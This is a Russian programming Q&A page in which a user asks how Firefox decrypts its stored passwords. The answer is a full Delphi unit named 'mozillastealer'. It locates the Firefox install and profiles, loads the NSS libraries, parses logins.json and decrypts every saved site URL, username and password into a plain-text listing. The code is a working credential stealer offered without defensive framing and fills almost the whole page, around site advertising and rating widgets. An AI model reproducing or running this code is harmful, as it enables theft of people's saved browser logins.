Расшифровать пароли Firefox - C#

Узнай цену своей работы

Формулировка задачи:

Подскажите пожалуйста, по какому алгоритму происходит расшифровка в Firefox, знаю что вся необходимая инфа лежит в файлах logins.json, key3.db и cert8.db, но самого алгоритма найти не могу

Решение задачи: «Расшифровать пароли Firefox»

textual
Листинг программы
  1. unit mozillastealer;
  2.  
  3. interface
  4.  
  5. uses
  6.   windows;
  7.  
  8. function getMozilla(): string;
  9.  
  10.  
  11. implementation
  12.  
  13. var
  14.   version,
  15.   FireFoxPath: string;
  16.  
  17. function GetFileList(const Path: String): string;
  18. var a: Cardinal;
  19.    fa: _WIN32_FIND_DATAA;
  20. begin
  21. result:='';
  22. TRY
  23. a:=FindFirstFile(PansiChar(path+PChar('\*.*')),fa);
  24. while FindNextFile(a,fa) do
  25. result:=result+fa.cFileName+#13#10;
  26. EXCEPT
  27. END;
  28. end;
  29.  
  30. procedure GetFFInfos;
  31. begin
  32.   FireFoxPath:='';
  33. TRY
  34.   if pos('Mozilla Firefox', GetFileList('c:\Program Files (x86)\'))<>0 then FireFoxPath:='C:\Program Files (x86)\Mozilla Firefox\';
  35.   if pos('Mozilla Firefox', GetFileList('c:\Program Files'))<>0 then FireFoxPath:='C:\Program Files\Mozilla Firefox\';
  36. EXCEPT
  37. END;
  38. end;
  39.  
  40.  
  41.  
  42. Function Splitter(Texto, Delimitador: String; Indice: integer): string;
  43. var
  44. DelimiPos, i: integer;
  45. begin
  46. for i:= 1 to indice do
  47.   begin
  48.     DelimiPos:= pos(Delimitador,Texto);
  49.     if DelimiPos <> 0 then
  50.       Delete(Texto, 1, DelimiPos + length(Delimitador) -1);
  51.   end;
  52.  
  53. DelimiPos:= pos(Delimitador,Texto);
  54.  
  55. if DelimiPos <> 0 then
  56.   Texto:= Copy(Texto,1,delimipos -1);
  57.  
  58. SetLength(Result, Length(Texto));
  59. Result:= Texto;
  60. end;
  61.  
  62.  
  63. function Pars(T_, ForS, _T: string): string;
  64. var a, b:integer;
  65. begin
  66. Result := '';
  67. if (T_='') or (ForS='') or (_T='') then Exit;
  68. a:=Pos(T_, ForS);
  69. if a=0 then Exit else a:=a+Length(T_);
  70. ForS:=Copy(ForS, a, Length(ForS)-a+1);
  71. b:=Pos(_T, ForS);
  72. if b>0 then
  73. Result:=Copy(ForS, 1, b - 1);
  74. end;
  75.  
  76.  
  77.  
  78. Function GetFile(const FileName : AnsiString) : AnsiString;
  79. Var
  80.  F : File;
  81.  FSize : Longint;
  82. begin
  83.   Result:='';
  84.   if GetFileAttributes(Pchar(FileName)) = DWORD($FFFFFFFF) then exit;
  85.   FileMode:=0;
  86.   AssignFile ( F, FileName);
  87.   Reset(F, 1);
  88.   FSize:=FileSize(F);
  89.   SetLength(Result,FSize);
  90.   BlockRead(F, Result[1],FSize);
  91.   CloseFile(F);
  92.   FileMode:=2;
  93. end;
  94.  
  95.  
  96.  
  97.  
  98. function ParseMozJSON(j: string): string;
  99. var
  100. data, it, ress: string;
  101. begin
  102. data:=GetFile(j);
  103. data:=Pars(',"logins":[{',data,'}],"disabledHosts":[],"version":1}');
  104. while pos(',"hostname":"', data)<> 0 do
  105.   begin
  106.    it:= Pars(',"hostname":"', data, 'timesUsed":');
  107.    ress:=ress + copy(it, 1, pos('","',it)-1);
  108.    delete(it, 0, pos('encryptedUsername":"', it));
  109.    ress:=ress + '<|>'+Pars('encryptedUsername":"',it,'","');
  110.    delete(it, 0, pos('encryptedPassword":"', it));
  111.    ress:=ress + '<|>'+Pars('encryptedPassword":"',it,'","')+#13#10;
  112.    delete(data, 1, pos('timesUsed":',data));
  113. end;
  114. result:=ress;
  115. end;
  116.  
  117.  
  118. function getMozilla(): string;
  119. type
  120.   TSECItem = packed record
  121.   SECItemType: dword;
  122.   SECItemData: pchar;
  123.   SECItemLen: dword;
  124. end;
  125.   PSECItem = ^TSECItem;
  126. var
  127.   NSSModule: THandle;
  128.   hToken: THandle;
  129.   NSS_Init: function(configdir: pchar): dword; cdecl;
  130.   NSSBase64_DecodeBuffer: function(arenaOpt: pointer; outItemOpt: PSECItem; inStr: pchar; inLen: dword): dword; cdecl;
  131.   PK11_GetInternalKeySlot: function: pointer; cdecl;
  132.   PK11_Authenticate: function(slot: pointer; loadCerts: boolean; wincx: pointer): dword; cdecl;
  133.   PK11SDR_Decrypt: function(data: PSECItem; result: PSECItem; cx: pointer): dword; cdecl;
  134.   NSS_Shutdown: procedure; cdecl;
  135.   PK11_FreeSlot: procedure(slot: pointer); cdecl;
  136.   ProfilePath: array [0..MAX_PATH] of char;
  137.   ProfilePathLen: dword;
  138.   FirefoxProfilePath: pchar;
  139.   MainProfile: array [0..MAX_PATH] of char;
  140.   MainProfilePath: pchar;
  141.   EncryptedSECItem: TSECItem;
  142.   DecryptedSECItem: TSECItem;
  143.   KeySlot: pointer;
  144.   i:integer;
  145.   username, password: string;
  146.   V: Extended;
  147.   buffer, huyufer: string;
  148.   a: Cardinal;
  149.   fa: _WIN32_FIND_DATAA;
  150. begin
  151. TRY
  152.  
  153.   try
  154. GetFFInfos;
  155. except
  156. end;
  157.  
  158. try
  159. if FireFoxPath = '' then exit;
  160. except
  161. end;
  162.  
  163. try
  164.   LoadLibrary(pchar(FirefoxPath + 'mozglue.dll'));
  165. except
  166. end;
  167.  
  168. try
  169.   LoadLibrary(pchar(FirefoxPath + 'mozcrt19.dll'));
  170. except
  171. end;
  172.  
  173. try
  174.   LoadLibrary(pchar(FirefoxPath + 'mozutils.dll'));
  175. except
  176. end;
  177.  
  178. try
  179.   LoadLibrary(pchar(FirefoxPath + 'nspr4.dll'));
  180. except
  181. end;
  182.  
  183. try
  184.   LoadLibrary(pchar(FirefoxPath + 'plc4.dll'));
  185. except
  186. end;
  187.  
  188. try
  189.   LoadLibrary(pchar(FirefoxPath + 'plds4.dll'));
  190. except
  191. end;
  192.  
  193. try
  194.   LoadLibrary(pchar(FirefoxPath + 'nssutil3.dll'));
  195. except
  196. end;
  197.  
  198. try
  199.   NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll'));
  200. except
  201. end;
  202.  
  203. try
  204.   @NSS_Init := GetProcAddress(NSSModule, pchar('NSS_Init'));
  205. except
  206. end;
  207.  
  208. try
  209.   @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, pchar('NSSBase64_DecodeBuffer'));
  210. except
  211. end;
  212.  
  213. try
  214.   @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, pchar('PK11_GetInternalKeySlot'));
  215. except
  216. end;
  217.  
  218. try
  219.   @PK11_Authenticate := GetProcAddress(NSSModule, pchar('PK11_Authenticate'));
  220. except
  221. end;
  222.  
  223. try
  224.   @PK11SDR_Decrypt := GetProcAddress(NSSModule, pchar('PK11SDR_Decrypt'));
  225. except
  226. end;
  227.  
  228. try
  229.   @NSS_Shutdown := GetProcAddress(NSSModule, pchar('NSS_Shutdown'));
  230. except
  231. end;
  232.  
  233. try
  234.   @PK11_FreeSlot := GetProcAddress(NSSModule, pchar('PK11_FreeSlot'));
  235. except
  236. end;
  237.  
  238. try
  239.   OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken);
  240. except
  241. end;
  242.  
  243. try
  244.   ProfilePathLen := MAX_PATH;
  245. except
  246. end;
  247.  
  248. try
  249.   ZeroMemory(@ProfilePath, MAX_PATH);
  250. except
  251. end;
  252.  
  253. try
  254.   GetEnvironmentVariable('APPDATA', ProfilePath, ProfilePathLen);
  255. except
  256. end;
  257.  
  258. try
  259.   FirefoxProfilePath := pchar(profilePath +'\Mozilla\Firefox\profiles.ini');
  260. except
  261. end;
  262.  
  263. try
  264.   GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, FirefoxProfilePath);
  265. except
  266. end;
  267.  
  268.  
  269. a:=FindFirstFile(PansiChar(profilePath + '\Mozilla\Firefox\Profiles\'+PChar('\*.*')),fa);
  270.       while FindNextFile(a,fa) do
  271.         if GetFileAttributes(PChar(profilePath + '\Mozilla\Firefox\Profiles\'+fa.cFileName+'\logins.json')) <> DWORD($FFFFFFFF) then
  272.           try
  273.  
  274.  
  275. if NSS_Init(pchar(profilePath + '\Mozilla\Firefox\' + mainProfile)) = 0 then
  276.     begin
  277.       KeySlot := PK11_GetInternalKeySlot;
  278.       if KeySlot <> nil then
  279.       begin
  280.         if PK11_Authenticate(KeySlot, True, nil) = 0 then
  281.         begin
  282.         huyufer:=ParseMozJSON(PChar(profilePath + '\Mozilla\Firefox\Profiles\'+fa.cFileName+'\logins.json'));
  283.         while pos(#13#10, huyufer)<>0 do
  284.         BEGIN
  285.             buffer:=copy(huyufer, 0, pos(#13#10, huyufer));
  286.             delete(huyufer, 1, pos(#13#10, huyufer)+1);
  287.             ZeroMemory(@EncryptedSECItem, SizeOf(EncryptedSECItem));
  288.             ZeroMemory(@DecryptedSECItem, SizeOf(DecryptedSECItem));
  289.  
  290.             result := result + 'URL:'+#$9+Splitter(buffer, '<|>', 0) + #13#10;
  291.             username:= Splitter(buffer, '<|>', 1);
  292.             Password := Splitter(buffer, '<|>', 2);
  293.  
  294.  
  295.             NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Username), Length(Username));
  296.  
  297.             PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
  298.             Result := result + 'LOG:'+#$9+DecryptedSECItem.SECItemData + #13#10;
  299.  
  300.  
  301.             ZeroMemory(@EncryptedSECItem, SizeOf(EncryptedSECItem));
  302.             ZeroMemory(@DecryptedSECItem, SizeOf(DecryptedSECItem));
  303.  
  304.  
  305.             NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Password), Length(Password));
  306.             PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
  307.             Result := result + 'PWD:'+#$9+DecryptedSECItem.SECItemData  + #13#10+ #13#10;
  308.           END;
  309.         end else result:= result + '';
  310.         PK11_FreeSlot(KeySlot);
  311.       end else
  312.       result:= result + '';
  313.       NSS_Shutdown;
  314.     end else
  315.     result:= result + '';
  316. except
  317. end;
  318. EXCEPT
  319. END;
  320. end;
  321.  
  322. end.

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

5   голосов , оценка 4.6 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут